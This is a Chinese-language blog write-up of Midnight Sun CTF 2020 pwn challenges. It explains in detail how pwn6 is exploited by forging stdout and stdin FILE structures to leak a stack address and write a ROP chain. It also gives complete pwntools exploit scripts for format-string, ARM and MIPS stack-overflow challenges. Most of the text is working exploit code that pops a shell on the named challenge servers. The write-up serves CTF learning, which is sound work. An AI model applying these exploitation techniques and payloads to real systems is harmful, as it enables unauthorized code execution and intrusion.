博客地址
外国人出的题往往比较有特色,相对我国大大小小的比赛尤其是一些堆题,往往都是一个固定的套路,越做最多写脚本的速度快了,其实并没有学到什么新东西。
pwn1,pwn2,pwn4都是简单的题,pwn3是arm栈溢出,pwn5是mips栈溢出,相对于我觉得pwn6比较有学习的地方。
目录
pwn6思路及利用
找漏洞
首先是静态编译程序,运行
推测关键函数里有addr:
字符串,拖进IDA搜索字符串。
查看字符串引用函数,找到
定义为main_02
,分析程序,输入格式为"%p:%u"
,其中v6<=7,将v6<<1后填入v7地址指向的值。通过动调得出dword_6D7330
值为-1,即只能进行一次任意地址写操作。
思路
1.利用漏洞修改dword_6D7330
处值令程序能够循环
2.伪造stdout块来泄露栈地址。
3.伪造stdin块来实现往栈地址写rop
4.跳出循环,执行rop
修改dword_6D7330值
封装函数
def Inputbase(addr1,addr2):
p.sendlineafter("\x1B[1maddr:\x1B[m ","{}:{}".format(hex(addr1),addr2))
关键跳转,将eax大于0x80000001
即可实现,则
Inputbase(0x6D7333,7)
伪造stout泄露地址
封装函数
def Inputaddr(addr1,addr2):#其中addr1为想写的地址,addr2为想写入的值
for i in range(8):#循环0-7寻找满足1<<i 与 addr2相等的值
if (1 << i) & addr2:
Inputbase(addr1,i) #即写入addr2
def Writeaddr(addr1,addr2): # addr1为想写的地址 addr2为想写的字符串
for i in range(len(addr2)): # len(addr2)#循环将字符串写入
Inputaddr(addr1+i,ord(addr2[i]))
def fakestdout(a, b):
return struct.pack('<28Q',
0x00000000fbad0800,
0x00000000006d53e3,
a, #read_end
0x00000000006d53e3,
a, #write_base
b, #write_ptr
0x00000000006d53e3,
0x00000000006d53e3,
0x00000000006d53e4,
0, 0, 0, 0, 0,
1,
0, 0,
0x00000000006d7d30,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)
测试poc
static char leakme[] = {'a', 'b', 'c', 'd'};
puts("test");
stdout->_IO_write_base = leakme;
stdout->_IO_write_ptr = &leakme[4];
stdout->_IO_read_end = stdout->_IO_write_base;
puts("test");
打印
test
testabcd
则实现payload
#stdout=0x6D57a0
#stdout=0x6D57a8
Writeaddr(0x6d7360,fakestdout(0x006d7da8,0x006d7db0))#在bss段写入伪造块。0x006d7da8指向栈地址
Inputbase(0x6D57a1,5) #修改0x6D57a0->0x6d7360
stack_addr=u64(p.recv(6).ljust(8,'\x00'))
print "stack_addr=",hex(stack_addr)
将rop写入返回地址
def fakestdin(a, b):
return struct.pack('<28Q',
0x00000000fbad208b,
0x00000000006d5603, #read_ptr
0x00000000006d5603, #read_end
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
a, #buf_base
b, #buf_end
0, 0, 0, 0, 0,
0,
0, 0,
0x00000000006d7d40,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)
执行流程,当read_ptr=read_end时,在地址为buf_base处写入长度为buf_end-buf_base
个字节的输入。
因为是静态编译,rop由ROPgadget --binary pwn6 --ropchain
来生成。
#根据计算,stack_ebp=stack_addr-0x138
Writeaddr(0x6d7580, fakestdin(stack_addr - 0x138, stack_addr + len(rop())))
Inputbase(0x006d57a9, 5)#更改stdin->0x6d7580
跳出循环
p.sendlineafter('addr:', '000000:8' + rop())
exp
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
from struct import pack
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
def Inputbase(addr1,addr2):
p.sendlineafter("\x1B[1maddr:\x1B[m ","{}:{}".format(hex(addr1),addr2))
def Inputaddr(addr1,addr2):
for i in range(8):
if (1 << i) & addr2:
Inputbase(addr1,i)
def Writeaddr(addr1,addr2):
for i in range(len(addr2)):
Inputaddr(addr1+i,ord(addr2[i]))
def fakestdout(a, b):
return struct.pack('<28Q',
0x00000000fbad0800,
0x00000000006d53e3,
a,
0x00000000006d53e3,
a,
b,
0x00000000006d53e3,
0x00000000006d53e3,
0x00000000006d53e4,
0, 0, 0, 0, 0,
1,
0, 0,
0x00000000006d7d30,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)
def fakestdin(a, b):
return struct.pack('<28Q',
0x00000000fbad208b,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
0x00000000006d5603,
a,
b,
0, 0, 0, 0, 0,
0,
0, 0,
0x00000000006d7d40,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0x00000000006d6fe0)
def rop():
p=''
p += pack('<Q', 0x0000000000410433) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x00000000004158a4) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x0000000000487b51) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000410433) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e00) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000487b51) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004006a6) # pop rdi ; ret
p += pack('<Q', 0x00000000006d50e0) # @ .data
p += pack('<Q', 0x0000000000410433) # pop rsi ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000449af5) # pop rdx ; ret
p += pack('<Q', 0x00000000006d50e8) # @ .data + 8
p += pack('<Q', 0x0000000000444e00) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000047cfa0) # add rax, 1 ; ret
p += pack('<Q', 0x000000000040130c) # syscall
return p
#gdb.attach(p)
Inputbase(0x6D7333,7)
Writeaddr(0x6d7360,fakestdout(0x006d7da8,0x006d7db0))
Inputbase(0x6D57a1,5)
stack_addr=u64(p.recv(6).ljust(8,'\x00'))
print "stack_addr=",hex(stack_addr)
Writeaddr(0x6d7580, fakestdin(stack_addr - 0x138, stack_addr + len(rop())))
Inputbase(0x006d57a9, 5)
p.sendlineafter('addr:', '000000:8' + rop())
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1,'./pwn6')
总结
想法奇特,我只做到了实现无限循环后,不知道如何去利用了.tql
参考链接(http://blog.redrocket.club/2020/04/06/midnightsunctf-quals-2020-pwn6/)
其他pwn
pwn1
基本栈溢出,贼拉简单。我exp找不到了,就不贴了。
pwn2
格式化字符串漏洞。
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
payload="aa%27$p%2040c%15$hn%32231c%16$hn"+p32(0x804B020+2)+p32(0x804B020)
p.sendlineafter("input:",payload)
p.recvuntil("aa0x")
addr=int(p.recv(8),16)-(0xf7d2e637-0xf7d2e540)
print "addr=",hex(addr)
libc=LibcSearcher("__libc_start_main",addr)
libcbase_addr=addr-libc.dump("__libc_start_main")
system_addr=libcbase_addr+libc.dump("system")
sys_addr_0_2=int(str(hex(system_addr))[6:10],16)
sys_addr_2_4=int(str(hex(system_addr))[2:6],16)
#gdb.attach(p)#0x80485EB
payload="aa"+"%"+str(sys_addr_0_2-2)+"c%14$hn"+"%"+str(sys_addr_2_4-sys_addr_0_2)+"c%15$hn"+p32(0x804B00C)+p32(0x804B00C+2)
print "system_addr=>",hex(system_addr)
p.sendlineafter("input:",payload)
p.sendlineafter("input:","/bin/sh")
p.interactive()
if __name__ == '__main__':
pwn('pwn6-01.play.midnightsunctf.se',10006,1,'./pwn2')
pwn3
arm栈溢出,是我上一篇博客例题
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
import os
context.log_level = 'debug'
context.arch = 'i386'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
#p = process(['qemu-arm','-g','1234',flaag])
p=process("./pwn3")
else:
p = remote(ip,port)
system_addr=0x01480C
binsh_addr=0x49018
pop_r0_r4_pc=0x1fb5c
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr+1)
#p.sendline(payload)
p.sendlineafter("buffer: ",payload)
p.interactive()
if __name__ == '__main__':
pwn('pwn3-01.play.midnightsunctf.se',10003,1,'./pwn3')
pwn4
格式化字符串漏洞,%*25$d%16$n
可以将偏移为25的值移向偏移为16的地址,这个exp可能运行时间长,毕竟写四个字节。太大了。
# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
p = 0
def pwn(ip,port,debug,flaag):
elf = ELF(flaag)
global p
if(debug == 1):
p = process(flaag)
else:
p = remote(ip,port)
#gdb.attach(p)
p.recvuntil("user: ")
p.sendline("%*25$d%16$n")
p.recvuntil("code: ")
p.sendline(str(10))
p.interactive()
if __name__ == '__main__':
pwn('buuoj.cn',20035,1,'./pwn4')
pwn5
我本地mips挺奇怪的,贴一个官方wp
from pwn import *
import sys
LOCAL = True
if "remote" in sys.argv:
LOCAL = False
context.clear(log_level='info', arch="mips", os='linux')
elf = ELF("pwn5")
HOST = "pwn5-01.play.midnightsunctf.se"
PORT = 10005
def go():
if LOCAL:
# s = process("qemu-mipsel-static -g 1234 ./pwn5".split(" "))
s = process("qemu-mipsel-static ./pwn5".split(" "))
else:
s = remote(HOST, PORT)
s.recvuntil("data:")
def set_v0(v0):
return "".join([
p32(0x0046f27c), # : lw $v0, 0x20($sp) ; lw $ra, 0x2c($sp) ; jr $ra ; addiu $sp, $sp, 0x30
"X"*0x20,
p32(v0),
"Z"*0x8,
])
shellcode_addr = elf.bss(0x100)
scanf_addr = 0x400758
ROP = "".join([
set_v0(shellcode_addr),
p32(scanf_addr),
])
payload = "A"*64 + p32(elf.bss(0x200)) + ROP
print "Payload:", payload
s.sendline(payload)
mips_shellcode = asm("""
xor $a1, $a1
xor $a2, $a2
addiu $a0, $a0, -8 # This will point to /bin/sh
li $v0, 4011 # execve syscall
j 0x4068bc # syscall gadget
nop
""")
print disasm(mips_shellcode)
# The bytes that will stop scanf from reading
assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode])
payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr)
payload_2 = payload_2.ljust(1132-8, "Z") + "/bin/sh"
s.sendline(payload_2)
s.interactive()
go()